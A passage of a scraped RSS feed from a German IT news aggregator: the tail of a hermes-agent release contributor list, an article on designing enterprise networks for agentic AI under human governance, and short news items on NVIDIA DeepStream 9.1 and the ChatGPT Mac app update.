data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/firefly">@firefly</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fjlaowan1983/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fjlaowan1983">@fjlaowan1983</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/flewe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/flewe">@flewe</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/flo1t/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/flo1t">@flo1t</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/flow-digital-ny/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/flow-digital-ny">@flow-digital-ny</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/floze-the-genius/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/floze-the-genius">@floze-the-genius</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frizikk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frizikk">@frizikk</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Frowtek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Frowtek">@Frowtek</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/FuryMartin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/FuryMartin">@FuryMartin</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fyzanshaik/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fyzanshaik">@fyzanshaik</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gauravsaxena1997/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gauravsaxena1997">@gauravsaxena1997</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/geoffreybutler94/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/geoffreybutler94">@geoffreybutler94</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/georgedrury/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/georgedrury">@georgedrury</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gigakun3030/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gigakun3030">@gigakun3030</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giggling-ginger/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giggling-ginger">@giggling-ginger</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Git-on-my-level/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Git-on-my-level">@Git-on-my-level</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gitcommit90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gitcommit90">@gitcommit90</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/githubespresso407/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/githubespresso407">@githubespresso407</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gnodet/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gnodet">@gnodet</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/GottZ/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/GottZ">@GottZ</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gridzilla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gridzilla">@Gridzilla</a>, @grimmjoww578, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gumclaw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gumclaw">@gumclaw</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gutslabs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gutslabs">@Gutslabs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HaiderSultanArc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HaiderSultanArc">@HaiderSultanArc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/harjothkhara/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/harjothkhara">@harjothkhara</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/heathley/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/heathley">@heathley</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hejuntt1014/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hejuntt1014">@hejuntt1014</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HeLLGURD/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HeLLGURD">@HeLLGURD</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hellno/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hellno">@hellno</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/herbalizer404/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/herbalizer404">@herbalizer404</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HexLab98/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HexLab98">@HexLab98</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hmirin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hmirin">@hmirin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Hopfensaft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hopfensaft">@Hopfensaft</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Hotragn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hotragn">@Hotragn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hsy5571616/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hsy5571616">@hsy5571616</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/huanshan5195/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/huanshan5195">@huanshan5195</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HumphreySun98/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HumphreySun98">@HumphreySun98</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hydracoco7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hydracoco7">@hydracoco7</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hydraxman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hydraxman">@hydraxman</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iamlukethedev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iamlukethedev">@iamlukethedev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iborazzi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iborazzi">@iborazzi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IgorGanapolsky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IgorGanapolsky">@IgorGanapolsky</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iizotov/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iizotov">@iizotov</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ildunari/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ildunari">@ildunari</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/infinitycrew39/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/infinitycrew39">@infinitycrew39</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IpastorSan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IpastorSan">@IpastorSan</a>, @irresi, @isfttr, @isheng-eqi, @itsflownium, @izumi0uu, @Jaaneek, @JacketPants,<br>
@jaisup, @jakelongvu-bot, @jakepresent, @jaketracey, @JAlmanzarMint, @JasonFang1993, @jbbottoms, @jcjc81,<br>
@JiaDe-Wu, @Jiahui-Gu, @Jigoooo, @jingsong-liu, @jneeee, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, @joelbrilliant, @John-Lussier, @jplew,<br>
@jtstothard, @juniperbevensee, @Jupiter363, @justinschille, @k4z4n0v4, @kaishi00, @karfly, @kartik-mem0,<br>
@kavioavio, @KCAYAAI, @kenyonxu, @keslerm, @kevinrajaram, @knoal, @kocaemre, @kohoj, @konsisumer, @krowd3v,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, @kuangmi-bit, @kubolko, @kyssta-exe, @Kyzcreig, @l0h1nth, @labsobsidian, @laurinaitis,<br>
@LavyaTandel, @lawyer112, @lemonwan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>, @lEWFkRAD, @linfeng961, @liuhao1024, @liuwei666888, @ljy-2000,<br>
@loes5050, @logical-and, @LoicHmh, @loongfay, @lord-dubious, @lost9999, @lucasfdale, @lucaskvasirr,<br>
@luxuguang-leo, @ly-wang19, @m0n5t3r, @m1qaweb, @M1racleShih, @MaartenDMT, @mahdiwafy, @MaheshBhushan,<br>
@ManniBr, @marcelohildebrand, @marcolivierlavoie, @markoub, @MarkVLK, @Marxb85, @matantsevs,<br>
@maxpetrusenkoagent, @mbac, @mdc2122, @mguttmann, @Mibayy, @michaelHMK, @mijanx, @minchang, @momomojo,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MorAlekss/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MorAlekss">@MorAlekss</a>, @morluto, @msh01, @mssteuer, @mvanhorn, @nanami7777777, @nankingjing, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/necoweb3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/necoweb3">@necoweb3</a>, @neo-claw-bot,<br>
@neoguyverx, @nicha16, @nikshepsvn, @nima20002000, @nnnet, @NousResearch, @nullptr0807, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nv-kasikritc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nv-kasikritc">@nv-kasikritc</a>,<br>
@okisdev, @OmarB97, @ooiuuii, @ooovenenoso, @oppih, @Osraka, @ostravajih, @otsune, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, @OYLFLMH,<br>
@patrick-muller, @pdmartins, @pedrommaiaa, @Peterskaronis, @petrichor-op, @pgregg88, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pierrenode/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pierrenode">@pierrenode</a>, @pixel4039,<br>
@plcunha, @pnascimento9596, @Polyhistor, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PRATHAMESH75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PRATHAMESH75">@PRATHAMESH75</a>, @professorpalmer, @Punyko8, @Que0x, @Qwinty,<br>
@r0gersm1th, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r266-tech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r266-tech">@r266-tech</a>, @rabadaki, @ragingbulld, @RainbowAndSun, @rainbowgore, @randimt, @rarf, @rasitakyol,<br>
@rayjun, @raymondyan-zhijie, @re-ITRT, @RenoMG, @Rival, @RKelln, @rlaehddus302, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>, @rodboev,<br>
@roryford, @rungmc357, @ruslanvasylev, @s0xn1ck, @s905060, @s96919, @sahibzada-allahyar, @sahil-shubham,<br>
@Sahil-SS9, @SahilRakhaiya05, @sam7894604, @SAMBAS123, @samrusani, @sanidhyasin, @sasquatch9818, @sberan,<br>
@ScotterMonk, @seagpt, @sebastianlutycz, @SemonCat, @setclock, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a>, @sharziki, @shashwatgokhe,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>, @shuangxinniao, @SilentKnight87, @simplast, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/simpolism/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/simpolism">@simpolism</a>, @SiteupAgencia, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sjiangtao2024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sjiangtao2024">@sjiangtao2024</a>, @sk-holmes,<br>
@slow4cyl, @smtony, @soddy022, @Soju06, @solyanviktor-star, @SongotenU, @spiky02plateau, @sprmn24, @SquabbyZ,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>, @ssiweifnag, @stantheman0128, @StellarisW, @stephenschoettler, @suninrain086, @superposition,<br>
@Supersynergy, @sweetcornna, @szafranski, @tanmayxchoudhary, @tarunravi, @tcconnally, @terry197913, @Thatgfsj,<br>
@thegoodguysla, @thestudionorth, @TheTom, @TinkerOfThings, @tjboudreaux, @tjp2021, @Tortugasaur, @Tosko4,<br>
@Tranquil-Flow, @trevorgordon981, @trismegistus-wanderer, @tt-a1i, @tuancookiez-hub, @TurgutKural, @Umi4Life,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/UnathiCodex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/UnathiCodex">@UnathiCodex</a>, @unsupportedpastels, @uzaylisak, @valda, @vampyren, @veradim, @victor-kyriazakos, @virtualex-itv,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a>, @Vissirexa, @vizi0uz, @vkkong, @vKongv, @VolodymyrBg, @vortexopenclaw, @VrtxOmega, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WadydX/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WadydX">@WadydX</a>,<br>
@waroffchange, @waseemshahwan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>, @webtecnica, @wesleion, @wesleysimplicio, @williamumu,<br>
@WilsonKinyua, @wxy-nlp, @wyuebei-cloud, @x7peeps, @x9x9x9x9x9x91, @xuezhaolan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a>, @ya-nsh, @yatesjalex,<br>
@ygd58, @yingliang-zhang, @yinkev, @YLChen-007, @yu-xin-c, @yungchentang, @zapabob, @zccyman, @zeapsu,<br>
@ziliangpeng, @zwcf5200, @zzpigpinggai</p>
<p>Also: bo.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.</p>
<hr>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.7.1...v2026.7.20">v2026.7.1...v2026.7.20</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Building the network for agentic AI: The foundation for autonomous enterprise operations]]></title>
<description><![CDATA[Enterprise AI is entering a new phase. While the first wave of generative AI focused on human productivity and content creation, the next wave — agentic AI — will fundamentally change how organizations operate. Agentic AI systems are capable of reasoning, planning, making decisions and executing ...]]></description>
<link>https://tsecurity.de/de/3680792/it-nachrichten/building-the-network-for-agentic-ai-the-foundation-for-autonomous-enterprise-operations/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680792/it-nachrichten/building-the-network-for-agentic-ai-the-foundation-for-autonomous-enterprise-operations/</guid>
<pubDate>Mon, 20 Jul 2026 12:03:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Enterprise AI is entering a new phase. While the first wave of generative AI focused on human productivity and content creation, the next wave — agentic AI — will fundamentally change how organizations operate. Agentic AI systems are capable of reasoning, planning, making decisions and executing actions across applications, workflows and business processes with minimal human intervention.</p>



<p class="wp-block-paragraph">As organizations move toward agentic frameworks that can independently resolve customer issues, optimize supply chains, manage infrastructure, coordinate workflows and even operate IT environments, one reality becomes clear: The network becomes the nervous system of the autonomous enterprise.</p>



<p class="wp-block-paragraph">The infrastructure requirements of agentic AI differ dramatically from those of traditional applications. These systems are highly distributed, continuously exchanging information, interacting with APIs, accessing multiple data sources and making decisions in real time. The performance, security, visibility and adaptability of the network will directly determine the effectiveness of AI agents. Organizations that view AI readiness solely as a compute or data challenge risk overlooking one of the most critical enablers of future success — the network itself.</p>



<h2 class="wp-block-heading">From AI-ready networks to autonomous networks</h2>



<p class="wp-block-paragraph">The long-term destination is the <a href="https://www.ericsson.com/en/ai/autonomous-networks">autonomous network</a>: A network capable of self-monitoring, self-optimizing, self-healing and self-securing through the use of AI and automation. However, autonomous networking will not emerge overnight. The investments enterprises make today to support agentic AI are the same foundational building blocks required for tomorrow’s autonomous operations.</p>



<p class="wp-block-paragraph">In many ways, agentic AI serves as both the driver and beneficiary of network transformation. AI agents require networks that can dynamically adapt to changing demands, while autonomous networks will increasingly rely on AI agents to manage and optimize themselves. The result is a reinforcing cycle where AI and networking evolve together.</p>



<h2 class="wp-block-heading">The core characteristics of the network of the future</h2>



<p class="wp-block-paragraph">One of the most critical requirements for AI-ready networks is real-time observability and telemetry. Agentic AI thrives on context, and AI agents must continuously gather information from users, applications, devices, clouds, security systems and operational platforms. Future-ready networks must provide end-to-end visibility across campus, branch, cloud and data center environments. High-fidelity telemetry streams, real-time performance monitoring, application-aware analytics, AI-aware analytics and unified operational visibility are essential. Without comprehensive visibility, AI agents operate with incomplete information, limiting their effectiveness and increasing operational risk.</p>



<p class="wp-block-paragraph">Another cornerstone is intent-based automation. Traditional networks are configured manually, often requiring administrators to define thousands of individual settings. In contrast, autonomous networks operate according to business intent. Enterprises increasingly need to define desired outcomes — such as maintaining application performance, optimizing user experience or automatically isolating compromised devices — rather than micromanaging configurations. The network continuously adjusts itself to achieve those objectives, providing the foundation upon which AI agents can make decisions safely and consistently.</p>



<p class="wp-block-paragraph">Agentic AI also introduces entirely new traffic patterns that require AI-optimized connectivity. Large language models, retrieval systems, vector databases, cloud AI services, edge inference platforms and multi-agent orchestration frameworks create significant east-west and cloud-bound traffic. Future networks must provide low-latency connectivity, high-capacity fabrics, dynamic traffic engineering, edge-to-cloud optimization and policies that identify and prioritize AI workloads. The organizations that can move data efficiently will gain a competitive advantage in AI execution speed and responsiveness.</p>



<p class="wp-block-paragraph">Security is another non-negotiable element. Agentic AI expands the enterprise attack surface because AI agents increasingly access sensitive systems, interact with APIs, consume proprietary data and execute actions across business environments. Future-ready networks must embed zero trust security into their architecture, with continuous identity verification, fine-grained access controls, microsegmentation, policy-driven authorization and continuous risk assessment. Security can no longer be bolted onto the network; it must be integral to its design and AI agents need to adhere to their own identity rules.</p>



<p class="wp-block-paragraph">Finally, distributed intelligence across edge and cloud environments is essential. Many AI use cases require decisions to occur close to the source of data. Manufacturing systems, healthcare environments, retail operations, transportation networks and smart facilities often cannot tolerate the latency associated with centralized processing. Future networks must support edge AI deployment, distributed processing architectures, local inference, hybrid cloud operations and intelligent workload placement. The ability to move intelligence closer to users, devices and operational environments will become increasingly important as agentic AI expands across the enterprise.</p>



<h2 class="wp-block-heading">Human expertise remains essential</h2>



<p class="wp-block-paragraph">Despite rapid advances in AI, the future will not eliminate the need for human expertise. In fact, it may increase its importance. One of the most significant misconceptions surrounding AI is that automation eliminates the need for skilled professionals. The reality is that autonomous systems require expert oversight, governance, validation and continuous optimization.</p>



<p class="wp-block-paragraph">As AI systems become more capable, enterprises will need professionals who understand network architecture, security policy, AI governance, operational risk management, data quality, regulatory compliance and human-in-the-loop decision frameworks. The challenge is compounded by the unprecedented pace of AI innovation. New models, architectures, orchestration frameworks, security concerns and governance requirements emerge almost monthly. Most enterprise IT teams cannot be expected to independently evaluate every development while simultaneously modernizing infrastructure and maintaining day-to-day operations.</p>



<p class="wp-block-paragraph">Organizations need access to experts who continuously track technology evolution, understand emerging best practices and can help translate innovation into practical deployment strategies. These experts provide not only implementation support but also ongoing operational guidance, helping enterprises maintain appropriate human oversight as AI capabilities expand. The future is not fully autonomous decision-making without people; it is intelligent automation operating under expert human governance.</p>



<h2 class="wp-block-heading">5 actions enterprises should take now</h2>



<p class="wp-block-paragraph">Organizations should be preparing for the autonomous future right now. The following investments deliver immediate value while laying the groundwork for long-term AI transformation:</p>



<ol start="1" class="wp-block-list">
<li><strong>Modernize network observability.</strong> Establish <a href="https://www.ibm.com/think/insights/ai-agent-observability">comprehensive visibility</a> across users, applications, devices, clouds and infrastructure. Rich telemetry and operational data will become the fuel that powers both Agentic AI and autonomous network operations.</li>



<li><strong>Build an automation-first operating model.</strong> Identify repetitive operational processes and begin automating them. Automation maturity is a prerequisite for autonomous networking and creates the operational foundation AI agents will eventually leverage.</li>



<li><strong>Adopt zero-trust principles across the enterprise.</strong> Implement identity-centric security controls, segmentation and continuous policy enforcement. As AI agents gain access to enterprise systems, <a href="https://www.forrester.com/zero-trust/">security architectures</a> must evolve to leverage the same identity controls.</li>



<li><strong>Design for edge-to-cloud AI workloads.</strong> Evaluate network architectures for latency, bandwidth and resiliency requirements associated with distributed AI. Future AI deployments will span data centers, public clouds, branch locations and edge environments.</li>



<li><strong>Invest in skills and strategic partnerships.</strong> Develop <a href="https://mitsloan.mit.edu/ideas-made-to-matter/artificial-intelligence-pays-when-businesses-go-all">internal expertise</a> while leveraging partners that possess deep networking, automation, security and AI knowledge. Human expertise remains one of the most important success factors in building AI-ready and autonomous infrastructures.</li>
</ol>



<h2 class="wp-block-heading">The road ahead</h2>



<p class="wp-block-paragraph">Agentic AI is poised to transform enterprise operations in much the same way cloud computing transformed infrastructure and the internet transformed business itself. But AI agents cannot operate effectively without a modern network foundation. The enterprises that succeed will recognize that AI readiness extends beyond models and data. It requires networks that are observable, automated, secure, intelligent and increasingly autonomous. The investments made today in AI-ready networking are not merely infrastructure upgrades — they are strategic building blocks toward the autonomous enterprise of the future, where AI agents and autonomous networks work together under human guidance to deliver unprecedented levels of agility, efficiency, and innovation.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[NVIDIA Released DeepStream 9.1: Bringing Agentic AI to Vision AI With 13 Skills and Multi-View 3D Tracking]]></title>
<description><![CDATA[NVIDIA DeepStream 9.1 introduces 13 agentic skills that let coding agents like Claude Code and Codex build multi-camera video analytics pipelines from natural-language prompts. Multi-View 3D Tracking (MV3DT) fuses per-camera detections into one shared 3D world with a globally consistent object ID...]]></description>
<link>https://tsecurity.de/de/3678440/ai-nachrichten/nvidia-released-deepstream-91-bringing-agentic-ai-to-vision-ai-with-13-skills-and-multi-view-3d-tracking/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678440/ai-nachrichten/nvidia-released-deepstream-91-bringing-agentic-ai-to-vision-ai-with-13-skills-and-multi-view-3d-tracking/</guid>
<pubDate>Sat, 18 Jul 2026 21:18:34 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>NVIDIA DeepStream 9.1 introduces 13 agentic skills that let coding agents like Claude Code and Codex build multi-camera video analytics pipelines from natural-language prompts. Multi-View 3D Tracking (MV3DT) fuses per-camera detections into one shared 3D world with a globally consistent object ID, while AutoMagicCalib (AMC) removes manual camera calibration. The release also adds JetPack 7.2 support and a unified open-source GitHub monorepo.</p>
<p>The post <a href="https://www.marktechpost.com/2026/07/18/nvidia-released-deepstream-9-1-bringing-agentic-ai-to-vision-ai-with-13-skills-and-multi-view-3d-tracking/">NVIDIA Released DeepStream 9.1: Bringing Agentic AI to Vision AI With 13 Skills and Multi-View 3D Tracking</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
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<title><![CDATA[OpenAI fixes confusing ChatGPT Mac app with easier access to chats and Projects]]></title>
<description><![CDATA[OpenAI has released a new ChatGPT Mac app update that makes regular chats easier to find after users criticised the recent redesign. The company has now restored clearer access to Chat, Work, Codex, conversation history, and Projects inside the main window.



Last week, OpenAI replaced its previ...]]></description>
<link>https://tsecurity.de/de/3678060/ios-mac-os/openai-fixes-confusing-chatgpt-mac-app-with-easier-access-to-chats-and-projects/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678060/ios-mac-os/openai-fixes-confusing-chatgpt-mac-app-with-easier-access-to-chats-and-projects/</guid>
<pubDate>Sat, 18 Jul 2026 15:26:32 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[OpenAI has released a new ChatGPT Mac app update that makes regular chats easier to find after users criticised the recent redesign. The company has now restored clearer access to Chat, Work, Codex, conversation history, and Projects inside the main window.



Last week, OpenAI replaced its previous native Mac client with a larger Electron-based app that combined ChatGPT, Codex, and the new Work agent. The company also renamed the older version ChatGPT Classic, which left many users confused about which app they should use.



The redesigned interface placed Codex and Work in a prominent menu, while standard ChatGPT opened through a smaller button in a floating window. That window also lacked direct access to existing chats and Projects, which quickly became the main complaint among Mac users.



Users shared their concerns on OpenAI’s Community forums and X, where they criticised the app’s layout and the reduced visibility of normal ChatGPT features. OpenAI executive Thibault Sottiaux later acknowledged the feedback and confirmed that the company would improve the interface.



Chat and Work now have a clearer layout



The latest update adds a visible toggle at the top of the window for switching between Chat and Work. A sidebar menu now lets users choose between regular ChatGPT and Codex, while chats and Projects are easier to access from the main interface.



The update addresses the most confusing parts of the redesign, although OpenAI may continue adjusting the app as more users test the unified Mac experience.]]></content:encoded>
